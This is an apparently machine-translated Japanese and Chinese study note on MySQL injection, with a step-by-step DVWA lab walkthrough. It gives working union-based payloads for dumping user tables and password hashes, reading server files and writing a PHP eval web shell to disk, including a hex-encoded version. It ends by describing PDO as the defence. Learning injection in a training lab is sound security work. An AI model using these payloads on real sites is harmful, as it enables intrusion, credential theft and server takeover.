[概要]脆弱性SQLインジェクションの脆弱性


日付:2019年7月23日19時55分59秒
更新:
著者:Bay0netの
説明:MySQLの注入ノート


0x01の、基本的な情報

基本用語

  • データベース:データベースは、関連テーブルの集まりです。
  • データ:表は、行列データです。データベーステーブルでは、簡単なスプレッドシートのように見えます。
  • カラム:1(データ要素)、例えば郵便番号などのデータを、同じタイプを含みます。
  • 行:1(=タプルまたはレコード)は、ユーザ・サブスクリプション・データのような関連データのグループです。
  • 主キー:主キーはユニークです。データテーブルは、1つのプライマリキーを含めることができます。あなたは、データを照会するために、主キーを使用することができます。
  • 外部キー:2つのテーブルを関連付けるための外部キー。

共通コマンド

# 登录
mysql -h 127.0.0.1 -u root -p root

0x02の、mysqlコマンド

爆発データベース名、テーブル名、フィールド名

それぞれにMySQLインスタンス別個有するinformation_schema格納するために使用される、MySQL他のデータベースインスタンスの基本的な情報のすべてを。

# 爆数据库的名称
select group_concat(SCHEMA_NAME) from information_schema.schemata;

# 爆当前数据库的表名
select group_concat(table_name) from information_schema.tables where table_schema=database();

# 爆字段名(表名是 users,加引号或十六进制编码)
select group_concat(column_name) from information_schema.columns where table_name='users';
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;

# 爆字段内容
select first_name,password from users

MySQLの読み取りおよび書き込み権限を見ます

利用mysql読むのと書き込み機能は、特定の権限を持っている必要があります。

secure_file_priv制限するために使用されるパラメータload_file,into outfile指定したディレクトリに識字の役割を実行するために他の関連する関数を。

# 查看方式
show global variables like '%secure%';

# 具体意义
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

ファイル操作

# 读取文件
select load_file('//tmp//key');

# 写入文件(需要有权限、知道绝对路径)
select 'hello' into outfile '/tmp/test01'

フィルタ機能

PHP < 5.4時間;があるmagic_quotes_gpcとき、設定項目は、magic_quotes is onすべてが单引号、双引号、反斜杠和 null自動的にバックスラッシュでエスケープされています。ではphp5.4それ以降のバージョン、あなたは脱出するために、このメソッドを使用することはできません。

mysql_real_escape_string()、また、特殊文字をエスケープするために使用されますが、この拡張はphp5.5で廃止されており、php7削除。

PHP:mysqliの:: real_escape_string - マニュアル

0x03の、SQLインジェクション(DVWA)

低セキュリティレベル

# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2

# 判断字段长度(2 正常,3 异常)
?id=1' order by 2 -- 
?id=1' order by 3 --

# 确定回显点
?id=1' union select 111,222 -- 

# 用户名和数据库名称
?id=1' union select user(),database() -- 
-- output:admin@localhost、dvwa

# 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() -- 
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1

# 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- 
-- output:guestbook,users

# 爆列名(两种办法,加引号或者十六进制编码)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 -- 
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' -- 
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

# 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users  -- 
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users -- 
?id=1' union select user,password from users -- 
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99

# 读文件
?id=1' union select 1,load_file('//tmp//key') -- 

# 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999'  union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --  
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' -- 

ミディアムセキュリティレベル

使用mysqli_real_escape_string者の入力を制御することを期待して、フロントページには、ドロップダウン選択形式を設定しながら、特殊文字をエスケープする関数を。

ここではデジタル型インプラント、フィルタや特殊記号の間ので、少し関係が使用して、あるhackbar行動をPOSTすることができます。

# 判断注入点
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit

# 爆数据
id=1 union select user,password from users&Submit=Submit

ハイに関するセキュリティレベル

ここで追加limit 1出力制限をするが、直接、コメント溶液とすることができるLow Security Level同じ。

インポッシブルSecuityレベル

使用するPDOコードとデータの線を描画する技術を、効果的にSQLインジェクションを防ぐため、クエリ結果の数は一瞬だけ戻っている間、出力は成功します、効果的に「Tuoku」を防ぐAnti-CSRFtokenメカニズムは、さらに向上させるために添加しましたセキュリティ。

DVWA SQLインジェクションクリアランスチュートリアル| AnCoLinのブログ|風の影のブログ

おすすめ

転載: www.cnblogs.com/v1vvwv/p/SQL-Injection-Summary.html